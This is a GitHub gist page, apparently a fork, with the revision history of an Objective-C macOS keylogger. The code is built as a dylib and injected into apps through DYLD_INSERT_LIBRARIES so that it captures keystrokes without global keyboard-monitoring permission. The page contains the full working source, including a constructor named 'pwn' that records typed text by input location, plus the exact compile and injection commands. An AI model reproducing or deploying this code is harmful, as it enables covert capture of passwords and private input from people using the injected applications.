Skip to content

Instantly share code, notes, and snippets.

@slyd0g

slyd0g/macos-keylogger.m

Forked from r3ggi/macos-keylogger.m
Created September 20, 2022 15:45
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save slyd0g/fd98836b808eb6de4b96a80d949a0bc6 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save slyd0g/fd98836b808eb6de4b96a80d949a0bc6 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @r3ggi r3ggi revised this gist Jul 19, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion macos-keylogger.m
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    // Info
    // Info:
    // Universal macOS keylogger that tracks input locations. It's injected per app as it doesn't require having global keyboard capturing permission

    // Compilation:
  2. @r3ggi r3ggi revised this gist Jul 19, 2022. 1 changed file with 8 additions and 0 deletions.
    8 changes: 8 additions & 0 deletions macos-keylogger.m
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,12 @@
    // Info
    // Universal macOS keylogger that tracks input locations. It's injected per app as it doesn't require having global keyboard capturing permission

    // Compilation:
    // gcc -dynamiclib /tmp/keylogger.m -o /tmp/keylogger.dylib -framework Foundation -framework Appkit -arch x86_64 -arch arm64

    // Usage:
    // DYLD_INSERT_LIBRARIES=/tmp/keylogger.dylib /path/to/app/Contents/MacOS/App

    #import <Foundation/Foundation.h>
    #import <AppKit/AppKit.h>

  3. @r3ggi r3ggi created this gist Jul 19, 2022.
    49 changes: 49 additions & 0 deletions macos-keylogger.m
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,49 @@
    // gcc -dynamiclib /tmp/keylogger.m -o /tmp/keylogger.dylib -framework Foundation -framework Appkit -arch x86_64 -arch arm64
    #import <Foundation/Foundation.h>
    #import <AppKit/AppKit.h>

    @interface KeyloggerSingleton : NSObject
    @property (atomic) NSPoint lastLocation;
    @property (atomic, retain) NSMutableString *recordedString;
    + (id)sharedKeylogger;
    @end

    @implementation KeyloggerSingleton
    @synthesize lastLocation;
    @synthesize recordedString;
    + (id)sharedKeylogger {
    static KeyloggerSingleton *sharedInstance = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
    sharedInstance = [KeyloggerSingleton new];
    });
    return sharedInstance;
    }

    - (instancetype)init {
    if (self = [super init]) {
    self.lastLocation = NSPointFromString(@"0,0");
    self.recordedString = [NSMutableString string];
    }
    return self;
    }

    @end


    __attribute__((constructor)) static void pwn(int argc, const char **argv) {

    NSLog(@"[*] Dylib injected");

    [NSEvent addLocalMonitorForEventsMatchingMask:NSEventMaskKeyDown handler:^NSEvent * _Nullable(NSEvent * _Nonnull event) {

    if(event.locationInWindow.x == [KeyloggerSingleton.sharedKeylogger lastLocation].x && event.locationInWindow.y == [KeyloggerSingleton.sharedKeylogger lastLocation].y) {
    [[KeyloggerSingleton.sharedKeylogger recordedString] appendString:event.characters];
    } else {
    [[KeyloggerSingleton.sharedKeylogger recordedString] setString:event.characters];
    [KeyloggerSingleton.sharedKeylogger setLastLocation:event.locationInWindow];
    }
    NSLog(@"[*] Recorded string: %@", [KeyloggerSingleton.sharedKeylogger recordedString]);
    return event;
    }];
    }